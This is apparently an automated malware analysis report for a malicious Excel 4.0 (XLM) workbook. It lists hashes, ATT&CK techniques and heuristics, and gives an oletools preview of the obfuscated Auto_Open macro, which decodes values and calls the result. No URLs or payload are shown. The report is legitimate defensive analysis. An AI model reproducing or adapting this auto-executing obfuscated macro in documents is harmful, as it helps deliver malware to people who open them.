Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62b0b07568c03bc6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:25 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6444ae93485c7d3229c4bc47ca0cf551 SHA-1: 0e1f79830090a15267cbecb3fa22c7cbf12e6295 SHA-256: 62b0b07568c03bc653386a34cb17c8f7c2dd81a60cb790161fc0b9da1a4c1324
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs further suggests malicious intent. While no specific URLs or hashes were extracted, the macro's ability to execute arbitrary code points to a downloader or initial execution stage for a more complex attack.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6660 bytes
SHA-256: 2df6a612cceeca47f6b1c0273835fd4f2ed1adbe9a76521292f51e117d5e73b7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yVbKCu
' 0018     20 LABEL : Cell Value, String Constant - aKqyf len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H137 
' 0018     20 LABEL : Cell Value, String Constant - bcxFL len=0 
' 0018     22 LABEL : Cell Value, String Constant - btqKyof len=0 
' 0018     25 LABEL : Cell Value, String Constant - ccNxnyqwyw len=0 
' 0018     23 LABEL : Cell Value, String Constant - DmUfMnZW len=0 
' 0018     21 LABEL : Cell Value, String Constant - EqjTiV len=0 
' 0018     25 LABEL : Cell Value, String Constant - FJdKnOXQGf len=0 
' 0018     24 LABEL : Cell Value, String Constant - GblMsNmIu len=0 
' 0018     26 LABEL : Cell Value, String Constant - HJohxxEudUM len=0 
' 0018     20 LABEL : Cell Value, String Constant - KKTJt len=0 
' 0018     25 LABEL : Cell Value, String Constant - kUDIGBtsES len=0 
' 0018     24 LABEL : Cell Value, String Constant - olVliImjQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - PZhYLPrhHwkG len=0 
' 0018     24 LABEL : Cell Value, String Constant - qIVpaRqxy len=0 
' 0018     23 LABEL : Cell Value, String Constant - QNBiHxKy len=0 
' 0018     23 LABEL : Cell Value, String Constant - QvgThVNI len=0 
' 0018     27 LABEL : Cell Value, String Constant - RQVZExBZuvtG len=0 
' 0018     24 LABEL : Cell Value, String Constant - SRixEBpFC len=0 
' 0018     21 LABEL : Cell Value, String Constant - YgWtKq len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZlgYcojKv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yVbKCu,H44,"SET.NAME("QNBiHxKy",0+VALUE("0"))",""
'  yVbKCu,H48,"SET.NAME("FJdKnOXQGf",QNBiHxKy)",""
'  yVbKCu,H53,"SET.NAME("PZhYLPrhHwkG",QNBiHxKy)",""
'  yVbKCu,H58,"SET.NAME("ZlgYcojKv",COUNTA(DmUfMnZW))",""
'  yVbKCu,H61,"SET.NAME("RQVZExBZuvtG",COUNTA(btqKyof))",""
'  yVbKCu,H64,[],""
'  yVbKCu,H66,"SET.NAME("ccNxnyqwyw","")",""
'  yVbKCu,R67,"",-617.00000000000000000000
'  yVbKCu,R68,"",787.00000000000000000000
'  yVbKCu,R69,"",-52.00000000000000000000
'  yVbKCu,R70,"",-455.00000000000000000000
'  yVbKCu,H71,"FJdKnOXQGf",""
'  yVbKCu,R71,"",166.00000000000000000000
'  yVbKCu,R72,"",-65.00000000000000000000
'  yVbKCu,H76,"SET.NAME("kUDIGBtsES",HLOOKUP("*",DmUfMnZW,FJdKnOXQGf,FALSE))",""
'  yVbKCu,H78,"olVliImjQ",""
'  yVbKCu,H81,"SET.NAME("bcxFL",QNBiHxKy)",""
'  yVbKCu,H86,[],""
'  yVbKCu,H88,"bcxFL",""
'  yVbKCu,H90,"KKTJt",""
'  yVbKCu,H92,"aKqyf",""
'  yVbKCu,H97,"GblMsNmIu",""
'  yVbKCu,H99,"SET.NAME("EqjTiV",VALUE(HLOOKUP("*",btqKyof,GblMsNmIu,FALSE)))",""
'  yVbKCu,H102,"QvgThVNI",""
'  yVbKCu,H106,"ccNxnyqwyw",""
'  yVbKCu,H109,"PZhYLPrhHwkG",""
'  yVbKCu,H112,NEXT(),""
'  yVbKCu,H114,"qIVpaRqxy",""
'  yVbKCu,H118,[],""
'  yVbKCu,H122,"HJohxxEudUM",""
'  yVbKCu,H127,NEXT(),""
'  yVbKCu,H132,RETURN(),""
'  yVbKCu,H161,"SET.NAME("SRixEBpFC",H44)",""
'  yVbKCu,H166,"DmUfMnZW",""
'  yVbKCu,H171,"SET.NAME("btqKyof",R74C11)",""
'  yVbKCu,H173,"SET.NAME("HJohxxEudUM",180)",""
'  yVbKCu,H176,"SET.NAME("YgWtKq",8)",""
'  yVbKCu,H179,SRixEBpFC(),""
'  yVbKCu,H180,HALT(),""